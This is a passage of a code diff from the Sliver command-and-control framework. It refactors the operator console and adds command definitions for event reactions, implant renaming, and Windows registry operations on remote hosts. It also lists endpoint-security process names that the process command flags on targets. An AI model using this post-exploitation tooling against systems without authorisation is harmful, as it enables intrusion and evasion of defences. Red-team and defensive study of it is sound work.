"ESET Security"}, // ESET Internet Security - "AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe - "CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe - "CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe - "CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe } -// PsCmd - List processes on the remote system -func PsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// PsCmd - List processes on the remote system. +func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -102,12 +98,12 @@ func PsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } os := getOS(session, beacon) if ps.Response != nil && ps.Response.Async { - con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(ps.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, ps) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -120,7 +116,6 @@ func PsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) con.PrintWarnf("Security Product(s): %s\n", strings.Join(products, ", ")) } }) - con.PrintAsyncResponse(ps.Response) } else { PrintPS(os, ps, true, cmd.Flags(), con) products := findKnownSecurityProducts(ps) @@ -140,8 +135,8 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { return "" } -// PrintPS - Prints the process list -func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverConsoleClient) { +// PrintPS - Prints the process list. +func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) { pidFilter, _ := flags.GetInt("pid") exeFilter, _ := flags.GetString("exe") ownerFilter, _ := flags.GetString("owner") @@ -169,6 +164,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) switch os { case "windows": @@ -215,8 +211,8 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string { return products } -// procRow - Stylizes the process information -func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverConsoleClient) table.Row { +// procRow - Stylizes the process information. +func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row { session, beacon := con.ActiveTarget.GetInteractive() color := console.Normal @@ -290,8 +286,8 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console return row } -// GetPIDByName - Get a PID by name from the active session -func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverConsoleClient) int { +// GetPIDByName - Get a PID by name from the active session. +func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverClient) int { ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{ Request: con.ActiveTarget.Request(cmd), }) @@ -306,7 +302,7 @@ func GetPIDByName(cmd *cobra.Command, name string, con *console.SliverConsoleCli return -1 } -// SortProcessesByPID - Sorts a list of processes by PID +// SortProcessesByPID - Sorts a list of processes by PID. func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process { sort.Slice(ps, func(i, j int) bool { return ps[i].Pid < ps[j].Pid diff --git a/client/command/processes/pstree.go b/client/command/processes/pstree.go index 044f65436b..6d06b07e2e 100644 --- a/client/command/processes/pstree.go +++ b/client/command/processes/pstree.go @@ -10,7 +10,7 @@ import ( "github.com/bishopfox/sliver/protobuf/commonpb" ) -// A PsTree is a tree of *commonpb.Process +// A PsTree is a tree of *commonpb.Process. type PsTree struct { printableTree treeprint.Tree // only used for rendering implantPID int32 @@ -23,7 +23,7 @@ type node struct { Parent *node // The parent of this node } -// NewPsTree creates a new PsTree +// NewPsTree creates a new PsTree. func NewPsTree(pid int32) *PsTree { return &PsTree{ printableTree: treeprint.New(), diff --git a/client/command/processes/terminate.go b/client/command/processes/terminate.go index b00f35f804..a12bbe21fe 100644 --- a/client/command/processes/terminate.go +++ b/client/command/processes/terminate.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// TerminateCmd - Terminate a process on the remote system -func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// TerminateCmd - Terminate a process on the remote system. +func TerminateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { con.PrintErrorf("No active session or beacon\n") @@ -52,12 +52,12 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s Force: force, }) if err != nil { - con.PrintErrorf("Terminate failed: %s", err) + con.PrintErrorf("Terminate failed: %s", con.UnwrapServerErr(err)) return } if terminated.Response != nil && terminated.Response.Async { - con.AddBeaconCallback(terminated.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(terminated.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, terminated) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -65,14 +65,13 @@ func TerminateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []s } PrintTerminate(terminated, con) }) - con.PrintAsyncResponse(terminated.Response) } else { PrintTerminate(terminated, con) } } -// PrintTerminate - Print the results of the terminate command -func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverConsoleClient) { +// PrintTerminate - Print the results of the terminate command. +func PrintTerminate(terminated *sliverpb.Terminate, con *console.SliverClient) { if terminated.Response != nil && terminated.Response.GetErr() != "" { con.PrintErrorf("%s\n", terminated.Response.GetErr()) } else { diff --git a/client/command/reaction/commands.go b/client/command/reaction/commands.go new file mode 100644 index 0000000000..6857ba8750 --- /dev/null +++ b/client/command/reaction/commands.go @@ -0,0 +1,107 @@ +package reaction + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + reactionCmd := &cobra.Command{ + Use: consts.ReactionStr, + Short: "Manage automatic reactions to events", + Long: help.GetHelpFor([]string{consts.ReactionStr}), + Annotations: flags.RestrictTargets(consts.ConsoleCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + ReactionCmd(cmd, con, args) + }, + GroupID: consts.SliverHelpGroup, + } + + reactionSetCmd := &cobra.Command{ + Use: consts.SetStr, + Short: "Set a reaction to an event", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SetStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionSetCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionSetCmd) + flags.Bind("reactions", false, reactionSetCmd, func(f *pflag.FlagSet) { + f.StringP("event", "e", "", "specify the event type to react to") + }) + + completers.NewFlagCompsFor(reactionSetCmd, func(comp *carapace.ActionMap) { + (*comp)["event"] = carapace.ActionValues( + consts.SessionOpenedEvent, + consts.SessionClosedEvent, + consts.SessionUpdateEvent, + consts.BeaconRegisteredEvent, + consts.CanaryEvent, + consts.WatchtowerEvent, + ) + }) + + reactionUnsetCmd := &cobra.Command{ + Use: consts.UnsetStr, + Short: "Unset an existing reaction", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.UnsetStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionUnsetCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionUnsetCmd) + flags.Bind("reactions", false, reactionUnsetCmd, func(f *pflag.FlagSet) { + f.IntP("id", "i", 0, "the id of the reaction to remove") + }) + completers.NewFlagCompsFor(reactionUnsetCmd, func(comp *carapace.ActionMap) { + (*comp)["id"] = ReactionIDCompleter(con) + }) + + reactionSaveCmd := &cobra.Command{ + Use: consts.SaveStr, + Short: "Save current reactions to disk", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.SaveStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionSaveCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionSaveCmd) + + reactionReloadCmd := &cobra.Command{ + Use: consts.ReloadStr, + Short: "Reload reactions from disk, replaces the running configuration", + Long: help.GetHelpFor([]string{consts.ReactionStr, consts.ReloadStr}), + Run: func(cmd *cobra.Command, args []string) { + ReactionReloadCmd(cmd, con, args) + }, + } + reactionCmd.AddCommand(reactionReloadCmd) + + return []*cobra.Command{reactionCmd} +} diff --git a/client/command/reaction/helpers.go b/client/command/reaction/helpers.go index 0e7d22b247..097c68cb6e 100644 --- a/client/command/reaction/helpers.go +++ b/client/command/reaction/helpers.go @@ -37,12 +37,12 @@ const ( ReactionFileName = "reactions.json" ) -// GetReactionFilePath - Get the +// GetReactionFilePath - Get the. func GetReactionFilePath() string { return path.Join(assets.GetRootAppDir(), ReactionFileName) } -// SaveReactions - Save the reactions to the reaction file +// SaveReactions - Save the reactions to the reaction file. func SaveReactions(reactions []core.Reaction) error { reactionFilePath := GetReactionFilePath() data, err := json.MarshalIndent(reactions, "", " ") @@ -52,7 +52,7 @@ func SaveReactions(reactions []core.Reaction) error { return ioutil.WriteFile(reactionFilePath, data, 0o600) } -// LoadReactions - Save the reactions to the reaction file +// LoadReactions - Save the reactions to the reaction file. func LoadReactions() (int, error) { reactionFilePath := GetReactionFilePath() data, err := ioutil.ReadFile(reactionFilePath) @@ -85,8 +85,8 @@ func isReactable(reaction core.Reaction) bool { return false } -// ReactionIDCompleter completes saved/available reaction IDs -func ReactionIDCompleter(_ *console.SliverConsoleClient) carapace.Action { +// ReactionIDCompleter completes saved/available reaction IDs. +func ReactionIDCompleter(_ *console.SliverClient) carapace.Action { results := make([]string, 0) for _, reaction := range core.Reactions.All() { diff --git a/client/command/reaction/reaction.go b/client/command/reaction/reaction.go index 2cd3cf0fa7..6c1de6065d 100644 --- a/client/command/reaction/reaction.go +++ b/client/command/reaction/reaction.go @@ -31,8 +31,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ReactionCmd - Manage reactions to events -func ReactionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionCmd - Manage reactions to events. +func ReactionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { totalReactions := 0 for _, eventType := range core.ReactableEvents { reactions := core.Reactions.On(eventType) @@ -49,9 +49,10 @@ func ReactionCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st } } -func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverConsoleClient) { +func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverClient) { tw := table.NewWriter() tw.SetStyle(settings.GetTableStyle(con)) + settings.SetMaxTableSize(tw) tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType))) tw.AppendSeparator() slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3 @@ -71,7 +72,7 @@ func displayReactionsTable(eventType string, reactions []core.Reaction, con *con con.Printf("%s\n", tw.Render()) } -// EventTypeToTitle - Convert an eventType to a more human friendly string +// EventTypeToTitle - Convert an eventType to a more human friendly string. func EventTypeToTitle(eventType string) string { switch eventType { diff --git a/client/command/reaction/reload.go b/client/command/reaction/reload.go index 37444ff854..806f4e38b0 100644 --- a/client/command/reaction/reload.go +++ b/client/command/reaction/reload.go @@ -27,8 +27,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// ReactionSaveCmd - Manage reactions to events -func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionSaveCmd - Manage reactions to events. +func ReactionReloadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if _, err := os.Stat(GetReactionFilePath()); os.IsNotExist(err) { con.PrintErrorf("Missing reaction file %s\n", GetReactionFilePath()) return diff --git a/client/command/reaction/save.go b/client/command/reaction/save.go index b98687bc8f..f04bf73af6 100644 --- a/client/command/reaction/save.go +++ b/client/command/reaction/save.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ReactionSaveCmd - Manage reactions to events -func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionSaveCmd - Manage reactions to events. +func ReactionSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionPath := GetReactionFilePath() if _, err := os.Stat(reactionPath); !os.IsNotExist(err) { confirm := false diff --git a/client/command/reaction/set.go b/client/command/reaction/set.go index eb104615ce..93ae3f3d21 100644 --- a/client/command/reaction/set.go +++ b/client/command/reaction/set.go @@ -29,11 +29,11 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ErrNonReactableEvent - Event does not exist or is not supported by reactions +// ErrNonReactableEvent - Event does not exist or is not supported by reactions. var ErrNonReactableEvent = errors.New("non-reactable event type") -// ReactionSetCmd - Set a reaction upon an event -func ReactionSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionSetCmd - Set a reaction upon an event. +func ReactionSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { eventType, err := getEventType(cmd, con) if err != nil { con.PrintErrorf("%s\n", err) @@ -63,7 +63,7 @@ func ReactionSetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [ con.PrintInfof("Set reaction to %s (id: %d)\n", eventType, reaction.ID) } -func getEventType(cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) { +func getEventType(cmd *cobra.Command, con *console.SliverClient) (string, error) { rawEventType, _ := cmd.Flags().GetString("event") if rawEventType == "" { return selectEventType(con) @@ -77,7 +77,7 @@ func getEventType(cmd *cobra.Command, con *console.SliverConsoleClient) (string, } } -func selectEventType(con *console.SliverConsoleClient) (string, error) { +func selectEventType(con *console.SliverClient) (string, error) { prompt := &survey.Select{ Message: "Select an event:", Options: core.ReactableEvents, diff --git a/client/command/reaction/unset.go b/client/command/reaction/unset.go index 7ffe541060..e45dfae3cf 100644 --- a/client/command/reaction/unset.go +++ b/client/command/reaction/unset.go @@ -32,8 +32,8 @@ import ( "github.com/bishopfox/sliver/client/core" ) -// ReactionUnsetCmd - Unset a reaction upon an event -func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ReactionUnsetCmd - Unset a reaction upon an event. +func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { reactionID, _ := cmd.Flags().GetInt("id") if reactionID == 0 { reaction, err := selectReaction(con) @@ -53,7 +53,7 @@ func ReactionUnsetCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args con.Println() } -func selectReaction(con *console.SliverConsoleClient) (*core.Reaction, error) { +func selectReaction(con *console.SliverClient) (*core.Reaction, error) { outputBuf := bytes.NewBufferString("") table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0) allReactions := core.Reactions.All() diff --git a/client/command/reconfig/commands.go b/client/command/reconfig/commands.go new file mode 100644 index 0000000000..077a470ab5 --- /dev/null +++ b/client/command/reconfig/commands.go @@ -0,0 +1,30 @@ +package reconfig + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + renameCmd := &cobra.Command{ + Use: consts.RenameStr, + Short: "Rename the active beacon/session", + Long: help.GetHelpFor([]string{consts.RenameStr}), + Run: func(cmd *cobra.Command, args []string) { + RenameCmd(cmd, con, args) + }, + GroupID: consts.SliverCoreHelpGroup, + } + flags.Bind("rename", false, renameCmd, func(f *pflag.FlagSet) { + f.StringP("name", "n", "", "change implant name to") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{renameCmd} +} diff --git a/client/command/reconfig/rename.go b/client/command/reconfig/rename.go index 7866036a50..295349d589 100644 --- a/client/command/reconfig/rename.go +++ b/client/command/reconfig/rename.go @@ -28,8 +28,8 @@ import ( "github.com/bishopfox/sliver/util" ) -// RecnameCmd - Reconfigure metadata about a sessions -func RenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RecnameCmd - Reconfigure metadata about a sessions. +func RenameCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return @@ -55,7 +55,7 @@ func RenameCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri Name: name, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } diff --git a/client/command/registry/commands.go b/client/command/registry/commands.go new file mode 100644 index 0000000000..fec21cf040 --- /dev/null +++ b/client/command/registry/commands.go @@ -0,0 +1,129 @@ +package registry + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + registryCmd := &cobra.Command{ + Use: consts.RegistryStr, + Short: "Windows registry operations", + Long: help.GetHelpFor([]string{consts.RegistryStr}), + GroupID: consts.InfoHelpGroup, + Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter), + } + flags.Bind("registry", true, registryCmd, func(f *pflag.FlagSet) { + f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + registryReadCmd := &cobra.Command{ + Use: consts.RegistryReadStr, + Short: "Read values from the Windows registry", + Long: help.GetHelpFor([]string{consts.RegistryReadStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegReadCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryReadCmd) + flags.Bind("", false, registryReadCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to read values from") + }) + carapace.Gen(registryReadCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryWriteCmd := &cobra.Command{ + Use: consts.RegistryWriteStr, + Short: "Write values to the Windows registry", + Long: help.GetHelpFor([]string{consts.RegistryWriteStr}), + Args: cobra.ExactArgs(2), + Run: func(cmd *cobra.Command, args []string) { + RegWriteCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryWriteCmd) + flags.Bind("", false, registryWriteCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + f.StringP("type", "T", "string", "type of the value to write (string, dword, qword, binary). If binary, you must provide a path to a file with --path") + f.StringP("path", "p", "", "path to the binary file to write") + }) + carapace.Gen(registryWriteCmd).PositionalCompletion( + carapace.ActionValues().Usage("registry path"), + carapace.ActionValues().Usage("value to write"), + ) + + registryCreateKeyCmd := &cobra.Command{ + Use: consts.RegistryCreateKeyStr, + Short: "Create a registry key", + Long: help.GetHelpFor([]string{consts.RegistryCreateKeyStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegCreateKeyCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryCreateKeyCmd) + flags.Bind("", false, registryCreateKeyCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryCreateKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryDeleteKeyCmd := &cobra.Command{ + Use: consts.RegistryDeleteKeyStr, + Short: "Remove a registry key", + Long: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegDeleteKeyCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryDeleteKeyCmd) + flags.Bind("", false, registryDeleteKeyCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to remove value from") + }) + carapace.Gen(registryDeleteKeyCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryListSubCmd := &cobra.Command{ + Use: consts.RegistryListSubStr, + Short: "List the sub keys under a registry key", + Long: help.GetHelpFor([]string{consts.RegistryListSubStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegListSubKeysCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryListSubCmd) + flags.Bind("", false, registryListSubCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryListSubCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + registryListValuesCmd := &cobra.Command{ + Use: consts.RegistryListValuesStr, + Short: "List the values for a registry key", + Long: help.GetHelpFor([]string{consts.RegistryListValuesStr}), + Args: cobra.ExactArgs(1), + Run: func(cmd *cobra.Command, args []string) { + RegListValuesCmd(cmd, con, args) + }, + } + registryCmd.AddCommand(registryListValuesCmd) + flags.Bind("", false, registryListValuesCmd, func(f *pflag.FlagSet) { + f.StringP("hive", "H", "HKCU", "registry hive") + f.StringP("hostname", "o", "", "remote host to write values to") + }) + carapace.Gen(registryListValuesCmd).PositionalCompletion(carapace.ActionValues().Usage("registry path")) + + return []*cobra.Command{registryCmd} +} diff --git a/client/command/registry/reg-create.go b/client/command/registry/reg-create.go index 275b2eed09..e7b54ff559 100644 --- a/client/command/registry/reg-create.go +++ b/client/command/registry/reg-create.go @@ -20,24 +20,28 @@ package registry import ( "context" + "errors" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegCreateKeyCmd - Create a new Windows registry key -func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegCreateKeyCmd - Create a new Windows registry key. +func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -78,12 +82,12 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if createKey.Response != nil && createKey.Response.Async { - con.AddBeaconCallback(createKey.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(createKey.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, createKey) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -91,14 +95,13 @@ func RegCreateKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintCreateKey(createKey, finalPath, key, con) }) - con.PrintAsyncResponse(createKey.Response) } else { PrintCreateKey(createKey, finalPath, key, con) } } -// PrintCreateKey - Print the results of the create key command -func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverConsoleClient) { +// PrintCreateKey - Print the results of the create key command. +func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key string, con *console.SliverClient) { if createKey.Response != nil && createKey.Response.Err != "" { con.PrintErrorf("%s", createKey.Response.Err) return @@ -106,12 +109,13 @@ func PrintCreateKey(createKey *sliverpb.RegistryCreateKey, regPath string, key s con.PrintInfof("Key created at %s\\%s", regPath, key) } -func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string { +func getOS(session *clientpb.Session, beacon *clientpb.Beacon) (string, error) { if session != nil { - return session.OS + return session.OS, nil } if beacon != nil { - return beacon.OS + return beacon.OS, nil } - panic("no session or beacon") + + return "", errors.New("no session or beacon") } diff --git a/client/command/registry/reg-delete.go b/client/command/registry/reg-delete.go index 7f846433db..e48c306e58 100644 --- a/client/command/registry/reg-delete.go +++ b/client/command/registry/reg-delete.go @@ -22,22 +22,25 @@ import ( "context" "strings" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegDeleteKeyCmd - Remove a Windows registry key -func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegDeleteKeyCmd - Remove a Windows registry key. +func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -78,12 +81,12 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if deleteKey.Response != nil && deleteKey.Response.Async { - con.AddBeaconCallback(deleteKey.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(deleteKey.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, deleteKey) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -91,14 +94,13 @@ func RegDeleteKeyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } PrintDeleteKey(deleteKey, finalPath, key, con) }) - con.PrintAsyncResponse(deleteKey.Response) } else { PrintDeleteKey(deleteKey, finalPath, key, con) } } -// PrintDeleteKey - Print the results of the delete key command -func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverConsoleClient) { +// PrintDeleteKey - Print the results of the delete key command. +func PrintDeleteKey(deleteKey *sliverpb.RegistryDeleteKey, regPath string, key string, con *console.SliverClient) { if deleteKey.Response != nil && deleteKey.Response.Err != "" { con.PrintErrorf("%s", deleteKey.Response.Err) return diff --git a/client/command/registry/reg-list.go b/client/command/registry/reg-list.go index a25c00f29f..0c20dabe25 100644 --- a/client/command/registry/reg-list.go +++ b/client/command/registry/reg-list.go @@ -21,22 +21,25 @@ package registry import ( "context" - "google.golang.org/protobuf/proto" - "github.com/spf13/cobra" + "google.golang.org/protobuf/proto" "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/sliverpb" ) -// RegListSubKeysCmd - List sub registry keys -func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegListSubKeysCmd - List sub registry keys. +func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session, beacon := con.ActiveTarget.GetInteractive() if session == nil && beacon == nil { return } - targetOS := getOS(session, beacon) + targetOS, err := getOS(session, beacon) + if err != nil { + con.PrintErrorf("%s.\n", err) + return + } if targetOS != "windows" { con.PrintErrorf("Registry operations can only target Windows\n") return @@ -53,12 +56,12 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if regList.Response != nil && regList.Response.Async { - con.AddBeaconCallback(regList.Response.TaskID, func(task *clientpb.BeaconTask) { + con.AddBeaconCallback(regList.Response, func(task *clientpb.BeaconTask) { err = proto.Unmarshal(task.Response, regList) if err != nil { con.PrintErrorf("Failed to decode response %s\n", err) @@ -66,14 +69,13 @@ func RegListSubKeysCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } PrintListSubKeys(regList, hive, regPath, con) }) - con.PrintAsyncResponse(regList.Response) } else { PrintListSubKeys(regList, hive, regPath, con) } } -// PrintListSubKeys - Print the list sub keys command result -func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverConsoleClient) { +// PrintListSubKeys - Print the list sub keys command result. +func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath string, con *console.SliverClient) { if regList.Response != nil && regList.Response.Err != "" { con.PrintErrorf("%s\n", regList.Response.Err) return @@ -86,8 +88,8 @@ func PrintListSubKeys(regList *sliverpb.RegistrySubKeyList, hive string, regPath } } -// RegListValuesCmd - List registry values -func RegListValuesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// RegListValuesCmd 